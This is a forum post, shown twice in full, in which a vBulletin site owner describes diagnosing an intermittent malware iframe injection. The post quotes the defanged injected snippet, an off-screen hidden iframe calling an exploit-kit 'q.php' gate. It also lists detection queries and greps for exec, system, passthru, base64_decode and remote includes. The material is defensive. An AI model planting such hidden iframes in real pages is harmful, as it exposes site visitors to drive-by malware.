MrEyes
03-15-2013, 12:28 AM
Hello all,
Unfortunately it would seem that my site has been infected with malware - to make it worse I can't see how the attack is working and therefore need a hand from the community to find a resolution (I also have a support ticket open with vBulletin & vbseo, in this case there is no harm in doubling up and asking you guys as well)
So how does it present itself?
Intermittently the following code is placed into my <head> tags:
<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div>
NOTE : In the code sample above I have changed 'http' to 'hXXp' and the IP address to '1.1.1.1'
However, the code is not always injected it seems to be added at random. Additionally when the code does appear the IP address and following guid are typically different.
What is odd about this is the frequency of the alerts the site creates in malware scanners, since this started there have been over a million page views but only a small minority of members (my members are wel engaged and highlight issues quickly) are seeing the reports and not on every page or even the same page between refreshes. If the site is compromised its not going to be very effective if it only appears a handful of times over a million views! To be honest based on what I have done so far if I had not seen this myself (just once) I would not believe it was an issue with the site, rather a localised issue to the users machine
What have I done so far?
1) When this infection was found the site was running an old version of vBulletin (4.0.6) this has since been upgraded to the latest version. Additionally the site was also running an old version of VBSEO (3.6.0) this has also been updated to the latest version. This was done over the weekend of the 23rd/24th February.
2) I have run the ACP Suspect File Diagnostics tool - all files show OK barring /index.php which contains a known edit to support the Arcade modification. There are a few additional files for modifications that report as being "File not recognized as part of vBulletin". I have manually checked each of these and not found anything that could generate the above code
3) Checked the /includes/config.php for any suspicious code. In fact I have taken includes/config.php.new from vBulletin 4.2.0 PL3 download (from members.vbulletin.com) and added the necessary configuration information and replaced my existing config.php
4) Used the ACP template search function to look for 'iframe'. This does appear in a few locations but all of these are expected, specifically the following templates : bbcode_video, member.css, stylegenerator.css, vbcms.css, help_bbcodes, humanverify_recaptcha, search_common and search_common_select_type
5) Manually reviewed the code every plugin, nothing found that looks out of the oridinary (i.e. base64 strings, calls to exec(), system(), passtrhu(), iframes)
6) Executed the following SQL query agaisnt the database to search for suspicious entries in plugins (i.e. calls out to system functions, includes, requires, cookie functions)
SELECT title, phpcode, hookname, product
FROM plugin
-- Use replace in where to avoid whitespace issues
-- Check for system functions
WHERE REPLACE( phpcode, ' ', '') LIKE '%base64_encode(%'
OR REPLACE( phpcode, ' ', '') LIKE '%base64_decode(%'
OR REPLACE( phpcode, ' ', '') LIKE '%exec(%'
OR REPLACE( phpcode, ' ', '') LIKE '%system(%'
OR REPLACE( phpcode, ' ', '') LIKE '%shell_exec(%'
OR REPLACE( phpcode, ' ', '') like '%passthru(%'
-- Look for injected iframes
OR phpcode like '%<iframe%'
-- Check for include/require calling out to external urls
OR REPLACE( phpcode, ' ', '') like '%include(\'http%'
OR REPLACE( phpcode, ' ', '') like '%include_once(\'http%'
OR REPLACE( phpcode, ' ', '') like '%include(\'http%'
OR REPLACE( phpcode, ' ', '') like '%require_once(\'http%'
-- Check for include/require calling out using a variable
OR REPLACE( phpcode, ' ', '') like '%include($%'
OR REPLACE( phpcode, ' ', '') like '%include_once($%'
OR REPLACE( phpcode, ' ', '') like '%include($%'
OR REPLACE( phpcode, ' ', '') like '%require_once($%'
-- Check for cache and cookie PHP methods
OR REPLACE( phpcode, ' ', '') like '%setcookie($%'
OR REPLACE( phpcode, ' ', '') like '%header($%'
OR REPLACE( phpcode, ' ', '') like '%HTTP_COOKIE_VARS[%'
OR REPLACE( phpcode, ' ', '') like '%apc_%';
This looks for plugins using PHP functions and/or uses include/require to pull files from external sources. This query returns a single result:
=> vBSEO Forum Admin : forumadmin_edit_form : On checking the contents of this are valid
7) Executed the follow SQL to search templates for suspicious entries
SELECT styleid, title, template
FROM template
WHERE
(
-- Look for PHP function calls
REPLACE( template, ' ', '') LIKE '%base64_encode(%'
OR REPLACE( template, ' ', '') LIKE '%base64_decode(%'
OR REPLACE( template, ' ', '') LIKE '%exec(%'
OR REPLACE( template, ' ', '') LIKE '%system(%'
OR REPLACE( template, ' ', '') LIKE '%shell_exec(%'
OR REPLACE( template, ' ', '') like '%passthru(%'
-- Look for injected iframes
OR REPLACE( template, ' ', '') like '%<iframe%'
)
AND
(
-- Avoid the false positive on 'system(' this function is used a lot
template not like '%init_forum_readmarker_system%'
)
This finds the following templates:
search_common
search_common_select_type
humanverify_recaptcha
help_bbcodes
bbcode_video
On checking these templates I have not found any suspicious content
I have review all usages of .htaccess on the site just incase there is some odd redirection going on. Nothing out of the ordinary found
9) Previous malware infections I have seen discussed here revolved around malicious php code being uploaded in an image. As such I have run the following command on my server (via SSH)
find /var/www/vhosts/mysite.co.uk/httpdocs/ -regex '.*\.gif$' -exec grep php {} \;
This found one result:
Binary file /var/www/vhosts/mysite.co.uk/httpdocs/filedata/customavatars/thumbs/avatar3773_1.gif matches
On checking this file via FTP this is a zero byte file dated 06/03/2010 - Unlikely to be the cause, however I have deleted it
10) I have changed all passwords, ftp, acp, database, ssh etc etc
11) Having googled this I can't find anything detailing similar infections. The only thing I have found is this:
BEKv2 Gate Variant (q.php) | MalwareSigs (http://www.malwaresigs.com/2013/01/03/bekv2-gate-variant-q-php/)
However it is light on detail, other related sites talk about sites where the q.php file has been uploaded the the server. In my case the site is calling out to it rather than serving it.
12) As its intermittent I have also checked cron tasks and again all seems to be fine here.
13) In an attempt to put a temporary plaster on this until I can properly clear it I have added a replacement variable to change "/q.php" to "/not_q.php", with this at least users will get a 404 rather than the actual external file the malware goes to
14) Check the headinclude template to see if this code is in it, it is not - nor are there any template hooks where the code is being inserted
15) Updated all plugins the site is using to their latest versions
16) Via ACP searched all templates for createElement : No results
17) Via SSH grepped the entire httpdocs directory for the term "createElement":
grep -r "createElement" /var/www/vhosts/mysite.co.uk/httpdocs/
This returns a bucket load of hits, however they are all in the clientscript directory and according the the ACP Suspect File Versions utility there are no unknown files in this directory
18) Using PHPMyAdmin searched the entire database for the term "createElement". This found a couple of references to the term, on checking none of these seem to be suspicious (mainly bbcode and content in posts where people are discussed markup)
19) Run through tests 16/17/18 for the following terms:
String.fromCharCode
head.AppendChild
document.asd.removeChild
btoa
atob
20) Grepped the httpdocs directory on the server for "base64_decode", got the following hits:
/httpdocs/asset.php
/httpdocs/attachment.php
/httpdocs/blog_attachment.php
/httpdocs/cron.php
/httpdocs/picture.php
All these files pass the Suspect Files Check
21) Just to satisfy my now rampant paranoia I have reuploaded the md5_sums_vbulletin.php (if I was a malware writer and was able to I would change this file). Anyway, no joy all the same as it was before.
22) Having gone through vBulletin and plugin php, css, js with a fine tooth comb and not finding anything I got around to thinking that maybe the injection is occurring at a lower level, i.e. the actual server is compromised and something has been placed into the Apache / PHP processes.
Being a developer by trade I knocked up a C# application that contained 24 randomly selected site urls (all vbulletin pages including ones where site users had reported alerts). My app would loop round 10000 times, randomly select one of the 24 URLs and pull down the page. It would also use the user agent string for Internet Explorer 9 (all reports of this are from users with IE) so the site/server would be none the wiser that it wasn't a browser making the request.
None of the pulls produced html that contained an iframe injection. So this means two things : it isn't Apache / PHP Engine that is inserting the iframe, it is most likely being inserted by javascript execution. My app just pulls the page markup it doesn't pull/execute related CSS/JS etc so if JS is injecting the iframe this would not happen in my app.
However I cannot find anything in site JS that could be performing this injection, all vbulletin JS files pass the Suspect Files Check. The only one that doesnt is ncode_imageresizer.js which is part of this modification from vb.org (https://vborg.vbsupport.ru/showthread.php?t=237650). On checking the contents of this file there is nothing suspicious in there.
23) I added a replacement variable to change "/q.php" to "/not_q.php" after this was in place members were still reporting the issue and they were saying that the url in the report was "/q.php" this means that the iframe is being added after replacement variables are processed.
24) Used the VBSEO datastore check tools:
http://www.vbseo.com/f5/faq-s-rogue-plugins-exploit-1-23-vbseo-patch-release-52862/#post326304
On running the utility I got the following:
vBSEO - Check vB instance for suspicious plugins (v4)
Checking datastore pluginslist: DETECTED: assert( [Click here to reset datastore]
Checking plugins code
Done.
I have clicked to reset the datastore and now get this output
vBSEO - Check vB instance for suspicious plugins (v4)
Checking datastore pluginslist: OK [Click here to reset datastore]
Checking plugins code
Done.
25) Ran the following template rebuild tools from vb.org:
Fix-it: Template Edition - vBulletin.org Forum (https://vborg.vbsupport.ru/showthread.php?t=281080)
This did rebuild a few templates
26) Heres a thing, last night I edited includes/functions.phprint_output($vartext, $sendheader = true) from:
if (empty($vbulletin->db->explain) OR (defined('VB_API') AND VB_API === true))
{
echo $output;
}
From reading through the code base this is the point at which vbulletin outputs the fully formed HTML, after all plugins, hooks etc have been executed. The only thing that happens after that output print and before the exit is a flush and a small amout of debug information. So this has been changed to :
if (empty($vbulletin->db->explain) OR (defined('VB_API') AND VB_API === true))
{
if (strpos($output, '/q.php'))
{
$mw_additional = $vbulletin->userinfo['userid'];
$mw_additional .= '|'.THIS_SCRIPT;
$mw_additional .= '|'.$_SERVER['SCRIPT_NAME'];
$mw_additional .= '|'.$_SERVER['QUERY_STRING'];
$mw_additional .= '|'.date("Y-m-d H:i:s");
$mw_filename = '/var/www/vhosts/mysite.co.uk/httpdocs/logs/'.uniqid().'.html';
$mw_filehandle = fopen($mw_filename, 'w') or die("can't open file : ".$mw_filename);
fwrite($mw_filehandle, $output.$mw_additional);
fclose($mw_filehandle);
}
echo $output;
}
What this does is look for '/q.php' in the output, if it finds it the output and some additional information is written to a file on the server. This has been running for 5 days so far and it hasn't generated any output at all. However members are still reporting alerts, so it must be javascript execution that is inserting this into the head
27) One of the reports from members highlight vbulletin-core.js as being blocked. The file on the server passed Suspect Files Check and a manual diff. However it is possible that a compromised version is cached somewhere out in the internet ether. So I have edited the headinclude template to change the version number passed on the url, the theory is that changing this will force caches to re-request the file.
Yes, I know this infection is my fault I should have kept the site upto date with the latest versions of the various things it uses. I didn't, I shall flog myself once this is fixed
Unfortunately it would seem that my site has been infected with malware - to make it worse I can't see how the attack is working and therefore need a hand from the community to find a resolution (I also have a support ticket open with vBulletin & vbseo, in this case there is no harm in doubling up and asking you guys as well)
So how does it present itself?
Intermittently the following code is placed into my <head> tags:
<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div>
NOTE : In the code sample above I have changed 'http' to 'hXXp' and the IP address to '1.1.1.1'
However, the code is not always injected it seems to be added at random. Additionally when the code does appear the IP address and following guid are typically different.
What is odd about this is the frequency of the alerts the site creates in malware scanners, since this started there have been over a million page views but only a small minority of members (my members are wel engaged and highlight issues quickly) are seeing the reports and not on every page or even the same page between refreshes. If the site is compromised its not going to be very effective if it only appears a handful of times over a million views! To be honest based on what I have done so far if I had not seen this myself (just once) I would not believe it was an issue with the site, rather a localised issue to the users machine
What have I done so far?
1) When this infection was found the site was running an old version of vBulletin (4.0.6) this has since been upgraded to the latest version. Additionally the site was also running an old version of VBSEO (3.6.0) this has also been updated to the latest version. This was done over the weekend of the 23rd/24th February.
2) I have run the ACP Suspect File Diagnostics tool - all files show OK barring /index.php which contains a known edit to support the Arcade modification. There are a few additional files for modifications that report as being "File not recognized as part of vBulletin". I have manually checked each of these and not found anything that could generate the above code
3) Checked the /includes/config.php for any suspicious code. In fact I have taken includes/config.php.new from vBulletin 4.2.0 PL3 download (from members.vbulletin.com) and added the necessary configuration information and replaced my existing config.php
4) Used the ACP template search function to look for 'iframe'. This does appear in a few locations but all of these are expected, specifically the following templates : bbcode_video, member.css, stylegenerator.css, vbcms.css, help_bbcodes, humanverify_recaptcha, search_common and search_common_select_type
5) Manually reviewed the code every plugin, nothing found that looks out of the oridinary (i.e. base64 strings, calls to exec(), system(), passtrhu(), iframes)
6) Executed the following SQL query agaisnt the database to search for suspicious entries in plugins (i.e. calls out to system functions, includes, requires, cookie functions)
SELECT title, phpcode, hookname, product
FROM plugin
-- Use replace in where to avoid whitespace issues
-- Check for system functions
WHERE REPLACE( phpcode, ' ', '') LIKE '%base64_encode(%'
OR REPLACE( phpcode, ' ', '') LIKE '%base64_decode(%'
OR REPLACE( phpcode, ' ', '') LIKE '%exec(%'
OR REPLACE( phpcode, ' ', '') LIKE '%system(%'
OR REPLACE( phpcode, ' ', '') LIKE '%shell_exec(%'
OR REPLACE( phpcode, ' ', '') like '%passthru(%'
-- Look for injected iframes
OR phpcode like '%<iframe%'
-- Check for include/require calling out to external urls
OR REPLACE( phpcode, ' ', '') like '%include(\'http%'
OR REPLACE( phpcode, ' ', '') like '%include_once(\'http%'
OR REPLACE( phpcode, ' ', '') like '%include(\'http%'
OR REPLACE( phpcode, ' ', '') like '%require_once(\'http%'
-- Check for include/require calling out using a variable
OR REPLACE( phpcode, ' ', '') like '%include($%'
OR REPLACE( phpcode, ' ', '') like '%include_once($%'
OR REPLACE( phpcode, ' ', '') like '%include($%'
OR REPLACE( phpcode, ' ', '') like '%require_once($%'
-- Check for cache and cookie PHP methods
OR REPLACE( phpcode, ' ', '') like '%setcookie($%'
OR REPLACE( phpcode, ' ', '') like '%header($%'
OR REPLACE( phpcode, ' ', '') like '%HTTP_COOKIE_VARS[%'
OR REPLACE( phpcode, ' ', '') like '%apc_%';
This looks for plugins using PHP functions and/or uses include/require to pull files from external sources. This query returns a single result:
=> vBSEO Forum Admin : forumadmin_edit_form : On checking the contents of this are valid
7) Executed the follow SQL to search templates for suspicious entries
SELECT styleid, title, template
FROM template
WHERE
(
-- Look for PHP function calls
REPLACE( template, ' ', '') LIKE '%base64_encode(%'
OR REPLACE( template, ' ', '') LIKE '%base64_decode(%'
OR REPLACE( template, ' ', '') LIKE '%exec(%'
OR REPLACE( template, ' ', '') LIKE '%system(%'
OR REPLACE( template, ' ', '') LIKE '%shell_exec(%'
OR REPLACE( template, ' ', '') like '%passthru(%'
-- Look for injected iframes
OR REPLACE( template, ' ', '') like '%<iframe%'
)
AND
(
-- Avoid the false positive on 'system(' this function is used a lot
template not like '%init_forum_readmarker_system%'
)
This finds the following templates:
search_common
search_common_select_type
humanverify_recaptcha
help_bbcodes
bbcode_video
On checking these templates I have not found any suspicious content
I have review all usages of .htaccess on the site just incase there is some odd redirection going on. Nothing out of the ordinary found
9) Previous malware infections I have seen discussed here revolved around malicious php code being uploaded in an image. As such I have run the following command on my server (via SSH)
find /var/www/vhosts/mysite.co.uk/httpdocs/ -regex '.*\.gif$' -exec grep php {} \;
This found one result:
Binary file /var/www/vhosts/mysite.co.uk/httpdocs/filedata/customavatars/thumbs/avatar3773_1.gif matches
On checking this file via FTP this is a zero byte file dated 06/03/2010 - Unlikely to be the cause, however I have deleted it
10) I have changed all passwords, ftp, acp, database, ssh etc etc
11) Having googled this I can't find anything detailing similar infections. The only thing I have found is this:
BEKv2 Gate Variant (q.php) | MalwareSigs (http://www.malwaresigs.com/2013/01/03/bekv2-gate-variant-q-php/)
However it is light on detail, other related sites talk about sites where the q.php file has been uploaded the the server. In my case the site is calling out to it rather than serving it.
12) As its intermittent I have also checked cron tasks and again all seems to be fine here.
13) In an attempt to put a temporary plaster on this until I can properly clear it I have added a replacement variable to change "/q.php" to "/not_q.php", with this at least users will get a 404 rather than the actual external file the malware goes to
14) Check the headinclude template to see if this code is in it, it is not - nor are there any template hooks where the code is being inserted
15) Updated all plugins the site is using to their latest versions
16) Via ACP searched all templates for createElement : No results
17) Via SSH grepped the entire httpdocs directory for the term "createElement":
grep -r "createElement" /var/www/vhosts/mysite.co.uk/httpdocs/
This returns a bucket load of hits, however they are all in the clientscript directory and according the the ACP Suspect File Versions utility there are no unknown files in this directory
18) Using PHPMyAdmin searched the entire database for the term "createElement". This found a couple of references to the term, on checking none of these seem to be suspicious (mainly bbcode and content in posts where people are discussed markup)
19) Run through tests 16/17/18 for the following terms:
String.fromCharCode
head.AppendChild
document.asd.removeChild
btoa
atob
20) Grepped the httpdocs directory on the server for "base64_decode", got the following hits:
/httpdocs/asset.php
/httpdocs/attachment.php
/httpdocs/blog_attachment.php
/httpdocs/cron.php
/httpdocs/picture.php
All these files pass the Suspect Files Check
21) Just to satisfy my now rampant paranoia I have reuploaded the md5_sums_vbulletin.php (if I was a malware writer and was able to I would change this file). Anyway, no joy all the same as it was before.
22) Having gone through vBulletin and plugin php, css, js with a fine tooth comb and not finding anything I got around to thinking that maybe the injection is occurring at a lower level, i.e. the actual server is compromised and something has been placed into the Apache / PHP processes.
Being a developer by trade I knocked up a C# application that contained 24 randomly selected site urls (all vbulletin pages including ones where site users had reported alerts). My app would loop round 10000 times, randomly select one of the 24 URLs and pull down the page. It would also use the user agent string for Internet Explorer 9 (all reports of this are from users with IE) so the site/server would be none the wiser that it wasn't a browser making the request.
None of the pulls produced html that contained an iframe injection. So this means two things : it isn't Apache / PHP Engine that is inserting the iframe, it is most likely being inserted by javascript execution. My app just pulls the page markup it doesn't pull/execute related CSS/JS etc so if JS is injecting the iframe this would not happen in my app.
However I cannot find anything in site JS that could be performing this injection, all vbulletin JS files pass the Suspect Files Check. The only one that doesnt is ncode_imageresizer.js which is part of this modification from vb.org (https://vborg.vbsupport.ru/showthread.php?t=237650). On checking the contents of this file there is nothing suspicious in there.
23) I added a replacement variable to change "/q.php" to "/not_q.php" after this was in place members were still reporting the issue and they were saying that the url in the report was "/q.php" this means that the iframe is being added after replacement variables are processed.
24) Used the VBSEO datastore check tools:
http://www.vbseo.com/f5/faq-s-rogue-plugins-exploit-1-23-vbseo-patch-release-52862/#post326304
On running the utility I got the following:
vBSEO - Check vB instance for suspicious plugins (v4)
Checking datastore pluginslist: DETECTED: assert( [Click here to reset datastore]
Checking plugins code
Done.
I have clicked to reset the datastore and now get this output
vBSEO - Check vB instance for suspicious plugins (v4)
Checking datastore pluginslist: OK [Click here to reset datastore]
Checking plugins code
Done.
25) Ran the following template rebuild tools from vb.org:
Fix-it: Template Edition - vBulletin.org Forum (https://vborg.vbsupport.ru/showthread.php?t=281080)
This did rebuild a few templates
26) Heres a thing, last night I edited includes/functions.phprint_output($vartext, $sendheader = true) from:
if (empty($vbulletin->db->explain) OR (defined('VB_API') AND VB_API === true))
{
echo $output;
}
From reading through the code base this is the point at which vbulletin outputs the fully formed HTML, after all plugins, hooks etc have been executed. The only thing that happens after that output print and before the exit is a flush and a small amout of debug information. So this has been changed to :
if (empty($vbulletin->db->explain) OR (defined('VB_API') AND VB_API === true))
{
if (strpos($output, '/q.php'))
{
$mw_additional = $vbulletin->userinfo['userid'];
$mw_additional .= '|'.THIS_SCRIPT;
$mw_additional .= '|'.$_SERVER['SCRIPT_NAME'];
$mw_additional .= '|'.$_SERVER['QUERY_STRING'];
$mw_additional .= '|'.date("Y-m-d H:i:s");
$mw_filename = '/var/www/vhosts/mysite.co.uk/httpdocs/logs/'.uniqid().'.html';
$mw_filehandle = fopen($mw_filename, 'w') or die("can't open file : ".$mw_filename);
fwrite($mw_filehandle, $output.$mw_additional);
fclose($mw_filehandle);
}
echo $output;
}
What this does is look for '/q.php' in the output, if it finds it the output and some additional information is written to a file on the server. This has been running for 5 days so far and it hasn't generated any output at all. However members are still reporting alerts, so it must be javascript execution that is inserting this into the head
27) One of the reports from members highlight vbulletin-core.js as being blocked. The file on the server passed Suspect Files Check and a manual diff. However it is possible that a compromised version is cached somewhere out in the internet ether. So I have edited the headinclude template to change the version number passed on the url, the theory is that changing this will force caches to re-request the file.
Yes, I know this infection is my fault I should have kept the site upto date with the latest versions of the various things it uses. I didn't, I shall flog myself once this is fixed